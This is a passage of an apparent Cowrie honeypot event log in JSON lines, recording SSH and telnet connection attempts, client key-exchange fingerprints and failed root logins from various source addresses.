{"eventid":"cowrie.session.closed","duration":32.18516516685486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:56.136026Z","src_ip":"135.148.14.151","session":"80dcdd9ad9db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.34.59","src_port":29968,"dst_ip":"10.17.0.5","dst_port":22,"session":"96fa06a7ce24","protocol":"ssh","message":"New connection: 103.161.34.59:29968 (10.17.0.5:22) [session: 96fa06a7ce24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.188728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.193372Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.284865Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:68:0e:23:a5:30:ae:31:33:00:d8:6c:64:28:34:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoteJAkZLNCjPfdGSzDcax+7RM0D1nd7SOh6fKNW+ZSOYVGM93doVBz7RQnNFRHDXzBB2B6FaoH3KXL9EtoLpe1j5+h62MqoYzrycL1iyXefLgCB1COs6J7IYACteBQPPr9CLSuOei5eyzggMaGWMdLuWe4NgSgg5mYtxuTg041gobwvu9u6+Bt3PMXX6CBnrvD4hMPWw6aGzUh/JTd3d0IOfYb2Wywp4LWOn01abuSUayF1x4tA0ZL9TkMG8rL4d56S/Xv8fcJkgb141s6CEQ0CV9VsVFfQE+XTDTaZfzkckAlFKTxkrdDeDqkXioVjQJrpQ/Fy/JtrrBB3ZXsjR7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:68:0e:23:a5:30:ae:31:33:00:d8:6c:64:28:34:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.720262Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:68:0e:23:a5:30:ae:31:33:00:d8:6c:64:28:34:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoteJAkZLNCjPfdGSzDcax+7RM0D1nd7SOh6fKNW+ZSOYVGM93doVBz7RQnNFRHDXzBB2B6FaoH3KXL9EtoLpe1j5+h62MqoYzrycL1iyXefLgCB1COs6J7IYACteBQPPr9CLSuOei5eyzggMaGWMdLuWe4NgSgg5mYtxuTg041gobwvu9u6+Bt3PMXX6CBnrvD4hMPWw6aGzUh/JTd3d0IOfYb2Wywp4LWOn01abuSUayF1x4tA0ZL9TkMG8rL4d56S/Xv8fcJkgb141s6CEQ0CV9VsVFfQE+XTDTaZfzkckAlFKTxkrdDeDqkXioVjQJrpQ/Fy/JtrrBB3ZXsjR7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.724436Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:a0:3c:30:ee:a2:0d:16:7a:b1:e3:dc:cc:4b:12:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAscvb8wdEVABSVPhPWgrMEKbsKMiDysAktSzbDRV/DIsn2ysMaDUOQKVgBlmVQL4M9Q5CGWzyt61642JZpw7l7Al24B4xVXmZwkhRmSpxAUn9leeklrJEKCnHClQo7fZwaWxA0uVdWI3bb8/MiiJ0loAqM3E89KCD/CknqVLJ0zG2Kn02aHyYhPA0BbxsZ0hGskFDJNNn6kTnxURq4ZJ5a2izvYySfxujnKSEhhdF7VE89BSfMp/u2esN8/Uq1q4vyjnUFf97/tQFxqTbDVfR0E76nMvw9kHuChahasTS5MMVuLjNzlN8enMi1Gkk2KPMrK2Lzo4KQQCk1gFkE8W32w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:a0:3c:30:ee:a2:0d:16:7a:b1:e3:dc:cc:4b:12:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.820804Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:a0:3c:30:ee:a2:0d:16:7a:b1:e3:dc:cc:4b:12:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAscvb8wdEVABSVPhPWgrMEKbsKMiDysAktSzbDRV/DIsn2ysMaDUOQKVgBlmVQL4M9Q5CGWzyt61642JZpw7l7Al24B4xVXmZwkhRmSpxAUn9leeklrJEKCnHClQo7fZwaWxA0uVdWI3bb8/MiiJ0loAqM3E89KCD/CknqVLJ0zG2Kn02aHyYhPA0BbxsZ0hGskFDJNNn6kTnxURq4ZJ5a2izvYySfxujnKSEhhdF7VE89BSfMp/u2esN8/Uq1q4vyjnUFf97/tQFxqTbDVfR0E76nMvw9kHuChahasTS5MMVuLjNzlN8enMi1Gkk2KPMrK2Lzo4KQQCk1gFkE8W32w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.825780Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:4e:f4:eb:5c:0d:2b:98:f0:ef:69:26:85:a9:b2:12","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP8+v8Kvy+8gGVHDvEs9Vwh1hg+HhCN5XbnRVaxwR1w7owDSy4L2oijXIURV0mMMCxSfcPNLBRIODZKrzkjBIBGC7x5VAW18lW4Xz/o5m+Kn8F+HyzqgLG1z/nQSaOEdbtcYk6CWln97zfkcehfaYfIlHrjoS434GGqFiTmqhy1fAAAAFQC/yS6vQ7w3fHjJwkqS9jHSD0L+RwAAAIBRWk2wrlFO1Nbf2Od+T+Ncc1kgNoGm1/8jKNsKywkmCJjZ1gtOCqYysQxa/5Ah+0RxJlaFY5Gw75qegZDmIvlUEyeflz1dbpBH93Nj3JTbicgo9ccDZf2R82RJaC9HwOcmjcMTSSXKaSfkEaHPewDQtJeQZUW7kzD5wXU5qm3u3AAAAIB3WLjqlfHje7gNjaQPv/h/UNFLoCQtVazehv2yd9xFIr8JtT2gdLhxAJ9BmGcfQjezHly+YsQgjlinpLmdmf5XGr+JuGVbXYCVP8qqP97b1FK/9jGsMy+F7HXSdezw7q5pm6+pwimg4bjGSaOjN9AFKTm7gctCkvM6JU9qjVBgZA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 3d:4e:f4:eb:5c:0d:2b:98:f0:ef:69:26:85:a9:b2:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.919166Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:4e:f4:eb:5c:0d:2b:98:f0:ef:69:26:85:a9:b2:12","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP8+v8Kvy+8gGVHDvEs9Vwh1hg+HhCN5XbnRVaxwR1w7owDSy4L2oijXIURV0mMMCxSfcPNLBRIODZKrzkjBIBGC7x5VAW18lW4Xz/o5m+Kn8F+HyzqgLG1z/nQSaOEdbtcYk6CWln97zfkcehfaYfIlHrjoS434GGqFiTmqhy1fAAAAFQC/yS6vQ7w3fHjJwkqS9jHSD0L+RwAAAIBRWk2wrlFO1Nbf2Od+T+Ncc1kgNoGm1/8jKNsKywkmCJjZ1gtOCqYysQxa/5Ah+0RxJlaFY5Gw75qegZDmIvlUEyeflz1dbpBH93Nj3JTbicgo9ccDZf2R82RJaC9HwOcmjcMTSSXKaSfkEaHPewDQtJeQZUW7kzD5wXU5qm3u3AAAAIB3WLjqlfHje7gNjaQPv/h/UNFLoCQtVazehv2yd9xFIr8JtT2gdLhxAJ9BmGcfQjezHly+YsQgjlinpLmdmf5XGr+JuGVbXYCVP8qqP97b1FK/9jGsMy+F7HXSdezw7q5pm6+pwimg4bjGSaOjN9AFKTm7gctCkvM6JU9qjVBgZA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:57.924545Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:3b:be:9f:fd:27:ed:a8:b5:81:d1:ca:f9:8b:56:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG/NcNyFOdzS45jN+wEJ3v0/0tAots0bI/hji4t8U73u","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 27:3b:be:9f:fd:27:ed:a8:b5:81:d1:ca:f9:8b:56:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:58.018562Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:3b:be:9f:fd:27:ed:a8:b5:81:d1:ca:f9:8b:56:67","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG/NcNyFOdzS45jN+wEJ3v0/0tAots0bI/hji4t8U73u","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:58.023392Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:55:bc:4c:c5:de:43:19:ee:cd:6f:eb:07:85:a2:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4pY5PMboH4B3PZ5zvQdk3TMAplS1ZFvEbNsheUhfksmjc95sAK642dI65qLkbvGxDy0nO2jpfMz/LcEAHEIV02gsHsgPjbhQ9y6iqYFODCRbj7XfiigvvLQVGU+TmmeJXA+sqL6suXxlhimEId3NrvxpCd04Bxtv9Fd3TxT6VNBAIfEFDZbqmfM0+5XHYHfUVk2pcess3eIG6VDVE0MGUJb/HKdU2qEt/fkzDPMIbtHDYdIw7avQnBYoVsPnRc6KKHWx93hbReXadcYPgP0AaiLYRY79xdzrMW19N+mJpW9zPPPRIUp5tJdAJTS6DZjDOVu3Fkk/cu2DbUMmbotG/tbt8eD4mxeEZeog0UGisCU0if2VNtyPKeiVUxZrSos6k9uCdXvex6uHkjh76O6OQa0l2TlDbJR/KdTl7dvrlan/Mnqk1ljMwoussEl2+GJfZrJQmoZB2uph1S84jq5TSdnNTl4YMjYuY0pS//3/cWkEoBwiAsv53AvE4eYy8pknoWKuk6pyF+fO+lMcV8BVT2Lhm5eu6gDw7+Zv46O4vzhGgjGsXzQz/Xf8E0VUVMedkQWvQSbNVo+2lU/Yva93h8KkCZrY1AlvGF9LgE89yCib/yERe5PfRcOFtEBbueEQNkwB1i24gZjQ5X3yZi4I6o/A3DMEPeI02m74vNyJibw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:55:bc:4c:c5:de:43:19:ee:cd:6f:eb:07:85:a2:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:58.115896Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:55:bc:4c:c5:de:43:19:ee:cd:6f:eb:07:85:a2:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4pY5PMboH4B3PZ5zvQdk3TMAplS1ZFvEbNsheUhfksmjc95sAK642dI65qLkbvGxDy0nO2jpfMz/LcEAHEIV02gsHsgPjbhQ9y6iqYFODCRbj7XfiigvvLQVGU+TmmeJXA+sqL6suXxlhimEId3NrvxpCd04Bxtv9Fd3TxT6VNBAIfEFDZbqmfM0+5XHYHfUVk2pcess3eIG6VDVE0MGUJb/HKdU2qEt/fkzDPMIbtHDYdIw7avQnBYoVsPnRc6KKHWx93hbReXadcYPgP0AaiLYRY79xdzrMW19N+mJpW9zPPPRIUp5tJdAJTS6DZjDOVu3Fkk/cu2DbUMmbotG/tbt8eD4mxeEZeog0UGisCU0if2VNtyPKeiVUxZrSos6k9uCdXvex6uHkjh76O6OQa0l2TlDbJR/KdTl7dvrlan/Mnqk1ljMwoussEl2+GJfZrJQmoZB2uph1S84jq5TSdnNTl4YMjYuY0pS//3/cWkEoBwiAsv53AvE4eYy8pknoWKuk6pyF+fO+lMcV8BVT2Lhm5eu6gDw7+Zv46O4vzhGgjGsXzQz/Xf8E0VUVMedkQWvQSbNVo+2lU/Yva93h8KkCZrY1AlvGF9LgE89yCib/yERe5PfRcOFtEBbueEQNkwB1i24gZjQ5X3yZi4I6o/A3DMEPeI02m74vNyJibw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:58.121230Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:17:58.215124Z","src_ip":"103.161.34.59","session":"96fa06a7ce24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58700,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f3128bf6ed1","protocol":"telnet","message":"New connection: 135.148.14.151:58700 (159.203.135.109:23) [session: 2f3128bf6ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:24.140582Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59216,"dst_ip":"159.203.135.109","dst_port":23,"session":"fba5e60419db","protocol":"telnet","message":"New connection: 135.148.14.151:59216 (159.203.135.109:23) [session: fba5e60419db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:24.267887Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"c27bed70ee39","protocol":"telnet","message":"New connection: 135.148.14.151:60076 (159.203.135.109:23) [session: c27bed70ee39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:25.988418Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41766,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9ec4592db1","protocol":"telnet","message":"New connection: 135.148.14.151:41766 (159.203.135.109:23) [session: 7e9ec4592db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:48.644431Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43190,"dst_ip":"10.17.0.5","dst_port":22,"session":"465edf0f81eb","protocol":"ssh","message":"New connection: 103.153.68.219:43190 (10.17.0.5:22) [session: 465edf0f81eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:54.797354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:54.802754Z","src_ip":"103.153.68.219","session":"465edf0f81eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:55.055560Z","src_ip":"103.153.68.219","session":"465edf0f81eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"justine","message":"login attempt [root/justine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:55.825950Z","src_ip":"103.153.68.219","session":"465edf0f81eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:57.080823Z","src_ip":"103.153.68.219","session":"465edf0f81eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47476,"dst_ip":"159.203.135.109","dst_port":23,"session":"049bd11bc981","protocol":"telnet","message":"New connection: 135.148.14.151:47476 (159.203.135.109:23) [session: 049bd11bc981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:18:59.825658Z"}
{"eventid":"cowrie.session.closed","duration":36.12948727607727,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:00.396911Z","src_ip":"135.148.14.151","session":"fba5e60419db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.899325132369995,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:01.039657Z","src_ip":"135.148.14.151","session":"2f3128bf6ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.070801734924316,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:02.059107Z","src_ip":"135.148.14.151","session":"c27bed70ee39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52144,"dst_ip":"159.203.135.109","dst_port":23,"session":"be26e9c5cf32","protocol":"telnet","message":"New connection: 135.148.14.151:52144 (159.203.135.109:23) [session: be26e9c5cf32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:11.298702Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":58998,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f9c7d265826","protocol":"ssh","message":"New connection: 185.236.22.41:58998 (159.203.135.109:22) [session: 8f9c7d265826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:15.199471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:15.204930Z","src_ip":"185.236.22.41","session":"8f9c7d265826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:15.308370Z","src_ip":"185.236.22.41","session":"8f9c7d265826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123498765","message":"login attempt [root/123498765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:15.619744Z","src_ip":"185.236.22.41","session":"8f9c7d265826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:16.724309Z","src_ip":"185.236.22.41","session":"8f9c7d265826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"fedee13b6d41","protocol":"telnet","message":"New connection: 135.148.14.151:55324 (159.203.135.109:23) [session: fedee13b6d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:17.335064Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":38408,"dst_ip":"159.203.135.109","dst_port":22,"session":"c600de941b10","protocol":"ssh","message":"New connection: 161.97.102.228:38408 (159.203.135.109:22) [session: c600de941b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:23.372991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:23.383226Z","src_ip":"161.97.102.228","session":"c600de941b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ex